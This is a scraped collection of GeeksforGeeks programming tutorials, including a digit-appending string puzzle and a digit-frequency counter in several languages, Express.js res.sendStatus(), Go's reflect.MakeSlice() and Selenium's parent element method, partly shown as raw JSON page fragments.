Main (String[] args){ String s = "abcd0"; int n = s.Length; Console.Write(find_digit(s, n));}} // This code is contributed by PrinciRaj1992 <script> // Javascript implementation of the approach // Function to return the required digitfunction find_digit(s, n){ // To store the position of the first // numeric digit in the string var first_digit = -1; for (var i = n - 1; i >= 0; i--) { if (s[i] < '0' || s[i] > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end var s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end var num = 0, pw = 1; var i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s[i] >= '0' && s[i] <= '9') { // Get the current digit var digit = s[i] - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added var req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codevar s = "abcd0";var n = s.length;document.write( find_digit(s, n)); </script> 4 vt_m princiraj1992 sanjeev2552 rrrtnx gabaa406 number-digits Numbers Mathematical Strings Strings Mathematical Numbers Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Merge two sorted arrays Modulo Operator (%) in C/C++ with Examples Prime Numbers Program to find GCD or HCF of two numbers Print all possible combinations of r elements in a given array of size n Reverse a string in Java Longest Common Subsequence | DP-4 Check for Balanced Brackets in an expression (well-formedness) using Stack Python program to check if a string is palindrome or not KMP Algorithm for Pattern Searching
[ { "code": null, "e": 26577, "s": 26549, "text": "\n11 Jun, 2021" }, { "code": null, "e": 26887, "s": 26577, "text": "Given a string str in which an integer is appended in the end (with or without leading zeroes). The task is to find a single digit from the range [0, 9] that must be appended in the end of the integer so that the number becomes equal to the length of remaining string. Print -1 if its not possible.Examples: " }, { "code": null, "e": 27031, "s": 26887, "text": "Input: str = “geeksforgeeks1” Output: 3 Length of “geeksforgeeks” is 13 So, 3 must be appended at the end of 1.Input: str = “abcd0” Output: 4 " }, { "code": null, "e": 27446, "s": 27033, "text": "Approach: Find the number appended in the end of the string say num and append a 0 in the end which is the least digit possible i.e. num = num * 10. Now find the length of the remaining string ignoring the numeric from the end say len. Now the digit which must be appended will be digit = len – num. If digit is in the range [0, 9] then print it else print -1.Below is the implementation of the above approach: " }, { "code": null, "e": 27450, "s": 27446, "text": "C++" }, { "code": null, "e": 27455, "s": 27450, "text": "Java" }, { "code": null, "e": 27463, "s": 27455, "text": "Python3" }, { "code": null, "e": 27466, "s": 27463, "text": "C#" }, { "code": null, "e": 27477, "s": 27466, "text": "Javascript" }, { "code": "// C++ implementation of the approach#include <bits/stdc++.h>using namespace std; // Function to return the required digitint find_digit(string s, int n){ // To store the position of the first // numeric digit in the string int first_digit = -1; for (int i = n - 1; i >= 0; i--) { if (s[i] < '0' || s[i] > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end int s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end int num = 0, pw = 1; int i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s[i] >= '0' && s[i] <= '9') { // Get the current digit int digit = s[i] - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added int req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codeint main(){ string s = \"abcd0\"; int n = s.length(); cout << find_digit(s, n); return 0;}", "e": 28938, "s": 27477, "text": null }, { "code": "// Java implementation of the approachimport java.io.*; class GFG{ // Function to return the required digitstatic int find_digit(String s, int n){ // To store the position of the first // numeric digit in the string int first_digit = -1; for (int i = n - 1; i >= 0; i--) { if (s.charAt(i) < '0' || s.charAt(i) > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end int s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end int num = 0, pw = 1; int i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s.charAt(i) >= '0' && s.charAt(i) <= '9') { // Get the current digit int digit = s.charAt(i) - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added int req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codepublic static void main (String[] args){ String s = \"abcd0\"; int n = s.length(); System.out.print(find_digit(s, n));}} // This code is contributed by vt_m", "e": 30534, "s": 28938, "text": null }, { "code": "# Python3 implementation of the approach # Function to return the required digitdef find_digit(s, n): # To store the position of the first # numeric digit in the string first_digit = -1 for i in range(n - 1, -1, -1): if s[i] < '0' or s[i] > '9': first_digit = i break first_digit += 1 # To store the length of the # string without the numeric # digits in the end s_len = first_digit num = 0 pw = 1 i = n - 1 while i >= 0: # If current character is # a numeric digit if s[i] >= '0' and s[i] <= '9': # Get the current digit digit = ord(s[i]) - ord('0') # Build the number num = num + (pw * digit) # If number exceeds the length if num >= s_len: return -1 # Next power of 10 pw = pw * 10 i -= 1 # Append 0 in the end num = num * 10 # Required number that must be added req = s_len - num # If number is not a single digit if req > 9 or req < 0: return -1 return req # Driver codeif __name__ == \"__main__\": s = \"abcd0\" n = len(s) print(find_digit(s, n)) # This code is contributed by# sanjeev2552", "e": 31774, "s": 30534, "text": null }, { "code": "// C# implementation of the approachusing System; class GFG{ // Function to return the required digitstatic int find_digit(String s, int n){ // To store the position of the first // numeric digit in the string int first_digit = -1, i; for (i = n - 1; i >= 0; i--) { if (s[i] < '0' || s[i] > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end int s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end int num = 0, pw = 1; i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s[i] >= '0' && s[i] <= '9') { // Get the current digit int digit = s[i] - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added int req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codepublic static void Main (String[] args){ String s = \"abcd0\"; int n = s.Length; Console.Write(find_digit(s, n));}} // This code is contributed by PrinciRaj1992", "e": 33337, "s": 31774, "text": null }, { "code": "<script> // Javascript implementation of the approach // Function to return the required digitfunction find_digit(s, n){ // To store the position of the first // numeric digit in the string var first_digit = -1; for (var i = n - 1; i >= 0; i--) { if (s[i] < '0' || s[i] > '9') { first_digit = i; break; } } first_digit++; // To store the length of the // string without the numeric // digits in the end var s_len = first_digit; // pw stores the current power of 10 // and num is to store the number // which is appended in the end var num = 0, pw = 1; var i = n - 1; while (i >= 0) { // If current character is // a numeric digit if (s[i] >= '0' && s[i] <= '9') { // Get the current digit var digit = s[i] - '0'; // Build the number num = num + (pw * digit); // If number exceeds the length if (num >= s_len) return -1; // Next power of 10 pw = pw * 10; } i--; } // Append 0 in the end num = num * 10; // Required number that must be added var req = s_len - num; // If number is not a single digit if (req > 9 || req < 0) return -1; return req;} // Driver codevar s = \"abcd0\";var n = s.length;document.write( find_digit(s, n)); </script>", "e": 34739, "s": 33337, "text": null }, { "code": null, "e": 34741, "s": 34739, "text": "4" }, { "code": null, "e": 34748, "s": 34743, "text": "vt_m" }, { "code": null, "e": 34762, "s": 34748, "text": "princiraj1992" }, { "code": null, "e": 34774, "s": 34762, "text": "sanjeev2552" }, { "code": null, "e": 34781, "s": 34774, "text": "rrrtnx" }, { "code": null, "e": 34790, "s": 34781, "text": "gabaa406" }, { "code": null, "e": 34804, "s": 34790, "text": "number-digits" }, { "code": null, "e": 34812, "s": 34804, "text": "Numbers" }, { "code": null, "e": 34825, "s": 34812, "text": "Mathematical" }, { "code": null, "e": 34833, "s": 34825, "text": "Strings" }, { "code": null, "e": 34841, "s": 34833, "text": "Strings" }, { "code": null, "e": 34854, "s": 34841, "text": "Mathematical" }, { "code": null, "e": 34862, "s": 34854, "text": "Numbers" }, { "code": null, "e": 34960, "s": 34862, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34984, "s": 34960, "text": "Merge two sorted arrays" }, { "code": null, "e": 35027, "s": 34984, "text": "Modulo Operator (%) in C/C++ with Examples" }, { "code": null, "e": 35041, "s": 35027, "text": "Prime Numbers" }, { "code": null, "e": 35083, "s": 35041, "text": "Program to find GCD or HCF of two numbers" }, { "code": null, "e": 35156, "s": 35083, "text": "Print all possible combinations of r elements in a given array of size n" }, { "code": null, "e": 35181, "s": 35156, "text": "Reverse a string in Java" }, { "code": null, "e": 35215, "s": 35181, "text": "Longest Common Subsequence | DP-4" }, { "code": null, "e": 35290, "s": 35215, "text": "Check for Balanced Brackets in an expression (well-formedness) using Stack" }, { "code": null, "e": 35347, "s": 35290, "text": "Python program to check if a string is palindrome or not" } ]
Find the frequency of a digit in a number - GeeksforGeeks
16 Apr, 2021 Given a number N and a digit D. Write a program to find how many times the digit D appears in the number N.Examples : Input: N = 1122322 , D = 2 Output: 4 Input: N = 346488 , D = 9 Output: 0 The idea to solve this problem is to keep extracting digits from the number N and check the extracted digits with the given digit D. If the extracted digit is equals to the digit D then increment the count. Below is the implementation of above approach. C++ Java Python3 C# PHP Javascript // C++ program to find the frequency// of a digit in a number#include <bits/stdc++.h>using namespace std; // function to find frequency of digit// in a numberint frequencyDigits(int n, int d){ // Counter variable to store // the frequency int c = 0; // iterate till number reduces to zero while (n > 0) { // check for equality if (n % 10 == d) c++; // reduce the number n = n / 10; } return c;} // Driver Codeint main(){ // input number N int N = 1122322; // input digit D int D = 2; cout<<frequencyDigits(N,D); return 0;} // Java program to find// the frequency of a// digit in a numberclass GFG{ // function to find frequency// of digit in a numberstatic int frequencyDigits(int n, int d){ // Counter variable to // store the frequency int c = 0; // iterate till number // reduces to zero while (n > 0) { // check for equality if (n % 10 == d) c++; // reduce the number n = n / 10; } return c;} // Driver Codepublic static void main(String args[]){ // input number N int N = 1122322; // input digit D int D = 2; System.out.println(frequencyDigits(N, D));}} // This code is contributed by Arnab Kundu # Python3 program to find the# frequency of a digit in a number # function to find frequency# of digit in a numberdef frequencyDigits(n, d): # Counter variable to # store the frequency c = 0; # iterate till number # reduces to zero while (n > 0): # check for equality if (n % 10 == d): c += 1; # reduce the number n = int(n / 10); return c; # Driver Code # input number NN = 1122322; # input digit DD = 2; print(frequencyDigits(N, D)); # This code is contributed by mits // C# program to find the frequency// of a digit in a numberusing System; class GFG{ // function to find frequency// of digit in a numberstatic int frequencyDigits(int n, int d){ // Counter variable to // store the frequency int c = 0; // iterate till number // reduces to zero while (n > 0) { // check for equality if (n % 10 == d) c++; // reduce the number n = n / 10; } return c;} // Driver Codestatic public void Main(String []args){ // input number N int N = 1122322; // input digit D int D = 2; Console.WriteLine(frequencyDigits(N, D)); }} // This code is contributed by Arnab Kundu <?php// PHP program to find the frequency// of a digit in a number // function to find frequency// of digit in a numberfunction frequencyDigits($n, $d){ // Counter variable to // store the frequency $c = 0; // iterate till number // reduces to zero while ($n > 0) { // check for equality if ($n % 10 == $d) $c++; // reduce the number $n = $n / 10; } return $c;} // Driver Code // input number N$N = 1122322; // input digit D$D = 2; echo frequencyDigits($N, $D); // This code is contributed by mits?> <script> // Javascript program to find// the frequency of a// digit in a number // Function to find frequency// of digit in a numberfunction frequencyDigits(n, d){ // Counter variable to // store the frequency var c = 0; // Iterate till number // reduces to zero while (n > 0) { // Check for equality if (n % 10 == d) c++; // Reduce the number n = parseInt(n / 10); } return c;} // Driver code // input number Nvar N = 1122322; // input digit Dvar D = 2; document.write(frequencyDigits(N, D)); // This code is contributed by Khushboogoyal499 </script> 4 andrew1234 Mithun Kumar khushboogoyal499 school-programming C++ Programs School Programming Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. C++ Program for QuickSort Shallow Copy and Deep Copy in C++ delete keyword in C++ cin in C++ Passing a function as a parameter in C++ Python Dictionary Arrays in C/C++ Inheritance in C++ Reverse a string in Java C++ Classes and Objects
[ { "code": null, "e": 26519, "s": 26491, "text": "\n16 Apr, 2021" }, { "code": null, "e": 26639, "s": 26519, "text": "Given a number N and a digit D. Write a program to find how many times the digit D appears in the number N.Examples : " }, { "code": null, "e": 26717, "s": 26639, "text": "Input: N = 1122322 , D = 2\nOutput: 4\n\nInput: N = 346488 , D = 9\nOutput: 0" }, { "code": null, "e": 26975, "s": 26719, "text": "The idea to solve this problem is to keep extracting digits from the number N and check the extracted digits with the given digit D. If the extracted digit is equals to the digit D then increment the count. Below is the implementation of above approach. " }, { "code": null, "e": 26979, "s": 26975, "text": "C++" }, { "code": null, "e": 26984, "s": 26979, "text": "Java" }, { "code": null, "e": 26992, "s": 26984, "text": "Python3" }, { "code": null, "e": 26995, "s": 26992, "text": "C#" }, { "code": null, "e": 26999, "s": 26995, "text": "PHP" }, { "code": null, "e": 27010, "s": 26999, "text": "Javascript" }, { "code": "// C++ program to find the frequency// of a digit in a number#include <bits/stdc++.h>using namespace std; // function to find frequency of digit// in a numberint frequencyDigits(int n, int d){ // Counter variable to store // the frequency int c = 0; // iterate till number reduces to zero while (n > 0) { // check for equality if (n % 10 == d) c++; // reduce the number n = n / 10; } return c;} // Driver Codeint main(){ // input number N int N = 1122322; // input digit D int D = 2; cout<<frequencyDigits(N,D); return 0;}", "e": 27648, "s": 27010, "text": null }, { "code": "// Java program to find// the frequency of a// digit in a numberclass GFG{ // function to find frequency// of digit in a numberstatic int frequencyDigits(int n, int d){ // Counter variable to // store the frequency int c = 0; // iterate till number // reduces to zero while (n > 0) { // check for equality if (n % 10 == d) c++; // reduce the number n = n / 10; } return c;} // Driver Codepublic static void main(String args[]){ // input number N int N = 1122322; // input digit D int D = 2; System.out.println(frequencyDigits(N, D));}} // This code is contributed by Arnab Kundu", "e": 28363, "s": 27648, "text": null }, { "code": "# Python3 program to find the# frequency of a digit in a number # function to find frequency# of digit in a numberdef frequencyDigits(n, d): # Counter variable to # store the frequency c = 0; # iterate till number # reduces to zero while (n > 0): # check for equality if (n % 10 == d): c += 1; # reduce the number n = int(n / 10); return c; # Driver Code # input number NN = 1122322; # input digit DD = 2; print(frequencyDigits(N, D)); # This code is contributed by mits", "e": 28914, "s": 28363, "text": null }, { "code": "// C# program to find the frequency// of a digit in a numberusing System; class GFG{ // function to find frequency// of digit in a numberstatic int frequencyDigits(int n, int d){ // Counter variable to // store the frequency int c = 0; // iterate till number // reduces to zero while (n > 0) { // check for equality if (n % 10 == d) c++; // reduce the number n = n / 10; } return c;} // Driver Codestatic public void Main(String []args){ // input number N int N = 1122322; // input digit D int D = 2; Console.WriteLine(frequencyDigits(N, D)); }} // This code is contributed by Arnab Kundu", "e": 29639, "s": 28914, "text": null }, { "code": "<?php// PHP program to find the frequency// of a digit in a number // function to find frequency// of digit in a numberfunction frequencyDigits($n, $d){ // Counter variable to // store the frequency $c = 0; // iterate till number // reduces to zero while ($n > 0) { // check for equality if ($n % 10 == $d) $c++; // reduce the number $n = $n / 10; } return $c;} // Driver Code // input number N$N = 1122322; // input digit D$D = 2; echo frequencyDigits($N, $D); // This code is contributed by mits?>", "e": 30225, "s": 29639, "text": null }, { "code": "<script> // Javascript program to find// the frequency of a// digit in a number // Function to find frequency// of digit in a numberfunction frequencyDigits(n, d){ // Counter variable to // store the frequency var c = 0; // Iterate till number // reduces to zero while (n > 0) { // Check for equality if (n % 10 == d) c++; // Reduce the number n = parseInt(n / 10); } return c;} // Driver code // input number Nvar N = 1122322; // input digit Dvar D = 2; document.write(frequencyDigits(N, D)); // This code is contributed by Khushboogoyal499 </script>", "e": 30875, "s": 30225, "text": null }, { "code": null, "e": 30877, "s": 30875, "text": "4" }, { "code": null, "e": 30890, "s": 30879, "text": "andrew1234" }, { "code": null, "e": 30903, "s": 30890, "text": "Mithun Kumar" }, { "code": null, "e": 30920, "s": 30903, "text": "khushboogoyal499" }, { "code": null, "e": 30939, "s": 30920, "text": "school-programming" }, { "code": null, "e": 30952, "s": 30939, "text": "C++ Programs" }, { "code": null, "e": 30971, "s": 30952, "text": "School Programming" }, { "code": null, "e": 31069, "s": 30971, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 31095, "s": 31069, "text": "C++ Program for QuickSort" }, { "code": null, "e": 31129, "s": 31095, "text": "Shallow Copy and Deep Copy in C++" }, { "code": null, "e": 31151, "s": 31129, "text": "delete keyword in C++" }, { "code": null, "e": 31162, "s": 31151, "text": "cin in C++" }, { "code": null, "e": 31203, "s": 31162, "text": "Passing a function as a parameter in C++" }, { "code": null, "e": 31221, "s": 31203, "text": "Python Dictionary" }, { "code": null, "e": 31237, "s": 31221, "text": "Arrays in C/C++" }, { "code": null, "e": 31256, "s": 31237, "text": "Inheritance in C++" }, { "code": null, "e": 31281, "s": 31256, "text": "Reverse a string in Java" } ]
Express.js res.sendStatus() Function - GeeksforGeeks
16 Oct, 2021 The res.sendStatus() function is used to set the response HTTP status code to statusCode and send its string representation as the response body.Syntax: res.sendStatus( statusCode ) Parameter: The statusCode parameter describes the HTTP status code.Returns: It returns an Object.Installation of express module: You can visit the link to Install express module. You can install this package by using this command. npm install express After installing the express module, you can check your express version in command prompt using the command. npm version express After that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command. node index.js Example 1: Filename: index.js javascript var express = require('express');var app = express();var PORT = 3000; // Without middlewareapp.get('/', function(req, res){ // Equivalent to res.status(200).send('OK') res.sendStatus(200);}); app.listen(PORT, function(err){ if (err) console.log(err); console.log("Server listening on PORT", PORT);}); Steps to run the program: The project structure will look like this: Make sure you have installed express module using the following command: npm install express Run index.js file using below command: node index.js Output: Server listening on PORT 3000 Now open browser and go to http://localhost:3000/, now check your browser screen and you will see the following output: OK Example 2: Filename: index.js javascript var express = require('express');var app = express();var PORT = 3000; // With middlewareapp.use('/', function(req, res, next){ res.sendStatus(200); next();}); app.get('/', function(req, res){ res.send();}); app.listen(PORT, function(err){ if (err) console.log(err); console.log("Server listening on PORT", PORT);}); Run index.js file using below command: node index.js Now open the browser and go to http://localhost:3000/, now check your console and you will see the following output: Server listening on PORT 3000 And you will see the following output on your browser screen: OK Reference: https://expressjs.com/en/5x/api.html#res.sendStatus rs1686740 surindertarika1234 Express.js Node.js Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Node.js fs.writeFile() Method Node.js fs.readFile() Method How to install the previous version of node.js and npm ? Difference between promise and async await in Node.js How to use an ES6 import in Node.js? Remove elements from a JavaScript Array Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS? Difference between var, let and const keywords in JavaScript
[ { "code": null, "e": 25975, "s": 25947, "text": "\n16 Oct, 2021" }, { "code": null, "e": 26129, "s": 25975, "text": "The res.sendStatus() function is used to set the response HTTP status code to statusCode and send its string representation as the response body.Syntax: " }, { "code": null, "e": 26158, "s": 26129, "text": "res.sendStatus( statusCode )" }, { "code": null, "e": 26289, "s": 26158, "text": "Parameter: The statusCode parameter describes the HTTP status code.Returns: It returns an Object.Installation of express module: " }, { "code": null, "e": 26392, "s": 26289, "text": "You can visit the link to Install express module. You can install this package by using this command. " }, { "code": null, "e": 26412, "s": 26392, "text": "npm install express" }, { "code": null, "e": 26522, "s": 26412, "text": "After installing the express module, you can check your express version in command prompt using the command. " }, { "code": null, "e": 26542, "s": 26522, "text": "npm version express" }, { "code": null, "e": 26678, "s": 26542, "text": "After that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command. " }, { "code": null, "e": 26692, "s": 26678, "text": "node index.js" }, { "code": null, "e": 26723, "s": 26692, "text": "Example 1: Filename: index.js " }, { "code": null, "e": 26734, "s": 26723, "text": "javascript" }, { "code": "var express = require('express');var app = express();var PORT = 3000; // Without middlewareapp.get('/', function(req, res){ // Equivalent to res.status(200).send('OK') res.sendStatus(200);}); app.listen(PORT, function(err){ if (err) console.log(err); console.log(\"Server listening on PORT\", PORT);});", "e": 27048, "s": 26734, "text": null }, { "code": null, "e": 27075, "s": 27048, "text": "Steps to run the program: " }, { "code": null, "e": 27120, "s": 27075, "text": "The project structure will look like this: " }, { "code": null, "e": 27194, "s": 27120, "text": "Make sure you have installed express module using the following command: " }, { "code": null, "e": 27214, "s": 27194, "text": "npm install express" }, { "code": null, "e": 27254, "s": 27214, "text": "Run index.js file using below command: " }, { "code": null, "e": 27268, "s": 27254, "text": "node index.js" }, { "code": null, "e": 27277, "s": 27268, "text": "Output: " }, { "code": null, "e": 27307, "s": 27277, "text": "Server listening on PORT 3000" }, { "code": null, "e": 27428, "s": 27307, "text": "Now open browser and go to http://localhost:3000/, now check your browser screen and you will see the following output: " }, { "code": null, "e": 27431, "s": 27428, "text": "OK" }, { "code": null, "e": 27462, "s": 27431, "text": "Example 2: Filename: index.js " }, { "code": null, "e": 27473, "s": 27462, "text": "javascript" }, { "code": "var express = require('express');var app = express();var PORT = 3000; // With middlewareapp.use('/', function(req, res, next){ res.sendStatus(200); next();}); app.get('/', function(req, res){ res.send();}); app.listen(PORT, function(err){ if (err) console.log(err); console.log(\"Server listening on PORT\", PORT);});", "e": 27804, "s": 27473, "text": null }, { "code": null, "e": 27844, "s": 27804, "text": "Run index.js file using below command: " }, { "code": null, "e": 27858, "s": 27844, "text": "node index.js" }, { "code": null, "e": 27976, "s": 27858, "text": "Now open the browser and go to http://localhost:3000/, now check your console and you will see the following output: " }, { "code": null, "e": 28006, "s": 27976, "text": "Server listening on PORT 3000" }, { "code": null, "e": 28069, "s": 28006, "text": "And you will see the following output on your browser screen: " }, { "code": null, "e": 28072, "s": 28069, "text": "OK" }, { "code": null, "e": 28135, "s": 28072, "text": "Reference: https://expressjs.com/en/5x/api.html#res.sendStatus" }, { "code": null, "e": 28145, "s": 28135, "text": "rs1686740" }, { "code": null, "e": 28164, "s": 28145, "text": "surindertarika1234" }, { "code": null, "e": 28175, "s": 28164, "text": "Express.js" }, { "code": null, "e": 28183, "s": 28175, "text": "Node.js" }, { "code": null, "e": 28200, "s": 28183, "text": "Web Technologies" }, { "code": null, "e": 28298, "s": 28200, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28328, "s": 28298, "text": "Node.js fs.writeFile() Method" }, { "code": null, "e": 28357, "s": 28328, "text": "Node.js fs.readFile() Method" }, { "code": null, "e": 28414, "s": 28357, "text": "How to install the previous version of node.js and npm ?" }, { "code": null, "e": 28468, "s": 28414, "text": "Difference between promise and async await in Node.js" }, { "code": null, "e": 28505, "s": 28468, "text": "How to use an ES6 import in Node.js?" }, { "code": null, "e": 28545, "s": 28505, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 28590, "s": 28545, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 28633, "s": 28590, "text": "How to fetch data from an API in ReactJS ?" }, { "code": null, "e": 28683, "s": 28633, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
reflect.MakeSlice() Function in Golang with Examples - GeeksforGeeks
03 May, 2020 Go language provides inbuilt support implementation of run-time reflection and allowing a program to manipulate objects with arbitrary types with the help of reflect package.The reflect.MakeSlice() Function in Golang is used to create new zero-initialized slice value for the specified slice type, length, and capacity. To access this function, one needs to imports the reflect package in the program. Syntax: func MakeSlice(typ Type, len, cap int) Value Parameters: This function takes the following parameters: typ : This parameter is the Type. len: This parameter is the number of elements. cap: This parameter is the capacity od slice. Return Value: This function returns a newly created slice. Below examples illustrate the use of above method in Golang: Example 1: // Golang program to illustrate// reflect.MakeMapWithSize() Function package main import ( "fmt" "reflect") // Main functionfunc main() { var str []string var strValue reflect.Value = reflect.ValueOf(&str) indirectStr := reflect.Indirect(strValue) valueSlice := reflect.MakeSlice(indirectStr.Type(), 100, 1024) kind := valueSlice.Kind() cap := valueSlice.Cap() length := valueSlice.Len() fmt.Printf("Type is [%v] with capacity of %v bytes"+ " and length of %v .", kind, cap, length) } Output: Type is [slice] with capacity of 1024 bytes and length of 100 . Example 2: // Golang program to illustrate// reflect.MakeMapWithSize() Function package main import ( "fmt" "reflect") // Main functionfunc main() { intSlice := make([]int, 0) mapStringInt := make(map[string]int) sliceType := reflect.TypeOf(intSlice) mapType := reflect.TypeOf(mapStringInt) //use of MakeSlice() method intSliceReflect := reflect.MakeSlice(sliceType, 0, 0) mapReflect := reflect.MakeMap(mapType) v := 100 rv := reflect.ValueOf(v) intSliceReflect = reflect.Append(intSliceReflect, rv) intSlice2 := intSliceReflect.Interface().([]int) fmt.Println(intSlice2) k := "GeeksforGeeks" rk := reflect.ValueOf(k) mapReflect.SetMapIndex(rk, rv) mapStringInt2 := mapReflect.Interface().(map[string]int) fmt.Println(mapStringInt2) } Output: [100] map[GeeksforGeeks:100] Golang-reflect Go Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. 6 Best Books to Learn Go Programming Language strings.Replace() Function in Golang With Examples Arrays in Go How to Split a String in Golang? fmt.Sprintf() Function in Golang With Examples Golang Maps Slices in Golang Inheritance in GoLang Different Ways to Find the Type of Variable in Golang Interfaces in Golang
[ { "code": null, "e": 25587, "s": 25559, "text": "\n03 May, 2020" }, { "code": null, "e": 25989, "s": 25587, "text": "Go language provides inbuilt support implementation of run-time reflection and allowing a program to manipulate objects with arbitrary types with the help of reflect package.The reflect.MakeSlice() Function in Golang is used to create new zero-initialized slice value for the specified slice type, length, and capacity. To access this function, one needs to imports the reflect package in the program." }, { "code": null, "e": 25997, "s": 25989, "text": "Syntax:" }, { "code": null, "e": 26043, "s": 25997, "text": "func MakeSlice(typ Type, len, cap int) Value\n" }, { "code": null, "e": 26101, "s": 26043, "text": "Parameters: This function takes the following parameters:" }, { "code": null, "e": 26135, "s": 26101, "text": "typ : This parameter is the Type." }, { "code": null, "e": 26182, "s": 26135, "text": "len: This parameter is the number of elements." }, { "code": null, "e": 26228, "s": 26182, "text": "cap: This parameter is the capacity od slice." }, { "code": null, "e": 26287, "s": 26228, "text": "Return Value: This function returns a newly created slice." }, { "code": null, "e": 26348, "s": 26287, "text": "Below examples illustrate the use of above method in Golang:" }, { "code": null, "e": 26359, "s": 26348, "text": "Example 1:" }, { "code": "// Golang program to illustrate// reflect.MakeMapWithSize() Function package main import ( \"fmt\" \"reflect\") // Main functionfunc main() { var str []string var strValue reflect.Value = reflect.ValueOf(&str) indirectStr := reflect.Indirect(strValue) valueSlice := reflect.MakeSlice(indirectStr.Type(), 100, 1024) kind := valueSlice.Kind() cap := valueSlice.Cap() length := valueSlice.Len() fmt.Printf(\"Type is [%v] with capacity of %v bytes\"+ \" and length of %v .\", kind, cap, length) }", "e": 26942, "s": 26359, "text": null }, { "code": null, "e": 26950, "s": 26942, "text": "Output:" }, { "code": null, "e": 27015, "s": 26950, "text": "Type is [slice] with capacity of 1024 bytes and length of 100 .\n" }, { "code": null, "e": 27026, "s": 27015, "text": "Example 2:" }, { "code": "// Golang program to illustrate// reflect.MakeMapWithSize() Function package main import ( \"fmt\" \"reflect\") // Main functionfunc main() { intSlice := make([]int, 0) mapStringInt := make(map[string]int) sliceType := reflect.TypeOf(intSlice) mapType := reflect.TypeOf(mapStringInt) //use of MakeSlice() method intSliceReflect := reflect.MakeSlice(sliceType, 0, 0) mapReflect := reflect.MakeMap(mapType) v := 100 rv := reflect.ValueOf(v) intSliceReflect = reflect.Append(intSliceReflect, rv) intSlice2 := intSliceReflect.Interface().([]int) fmt.Println(intSlice2) k := \"GeeksforGeeks\" rk := reflect.ValueOf(k) mapReflect.SetMapIndex(rk, rv) mapStringInt2 := mapReflect.Interface().(map[string]int) fmt.Println(mapStringInt2) }", "e": 27835, "s": 27026, "text": null }, { "code": null, "e": 27843, "s": 27835, "text": "Output:" }, { "code": null, "e": 27873, "s": 27843, "text": "[100]\nmap[GeeksforGeeks:100]\n" }, { "code": null, "e": 27888, "s": 27873, "text": "Golang-reflect" }, { "code": null, "e": 27900, "s": 27888, "text": "Go Language" }, { "code": null, "e": 27998, "s": 27900, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28044, "s": 27998, "text": "6 Best Books to Learn Go Programming Language" }, { "code": null, "e": 28095, "s": 28044, "text": "strings.Replace() Function in Golang With Examples" }, { "code": null, "e": 28108, "s": 28095, "text": "Arrays in Go" }, { "code": null, "e": 28141, "s": 28108, "text": "How to Split a String in Golang?" }, { "code": null, "e": 28188, "s": 28141, "text": "fmt.Sprintf() Function in Golang With Examples" }, { "code": null, "e": 28200, "s": 28188, "text": "Golang Maps" }, { "code": null, "e": 28217, "s": 28200, "text": "Slices in Golang" }, { "code": null, "e": 28239, "s": 28217, "text": "Inheritance in GoLang" }, { "code": null, "e": 28293, "s": 28239, "text": "Different Ways to Find the Type of Variable in Golang" } ]
parent element method - Selenium Python - GeeksforGeeks
30 Apr, 2020 Selenium’s Python Module is built to perform automated testing with Python. Selenium Python bindings provides a simple API to write functional/acceptance tests using Selenium WebDriver. To open a webpage using Selenium Python, checkout – Navigating links using get method – Selenium Python. Just being able to go to places isn’t terribly useful. What we’d really like to do is to interact with the pages, or, more specifically, the HTML elements within a page. There are multiple strategies to find an element using Selenium, checkout – Locating Strategies This article revolves around how to use parent method in Selenium. parent method is used to get internal reference to the WebDriver instance this element was found from. element.parent Example – <input type="text" name="passwd" id="passwd-id" /> To find an element one needs to use one of the locating strategies, For example, element = driver.find_element_by_id("passwd-id") element = driver.find_element_by_name("passwd") element = driver.find_element_by_xpath("//input[@id='passwd-id']") Also, to find multiple elements, we can use – elements = driver.find_elements_by_name("passwd") Now one can get parent of this element with – element.parent Let’s try to get element and its parent method on geeksforgeeksusing parent 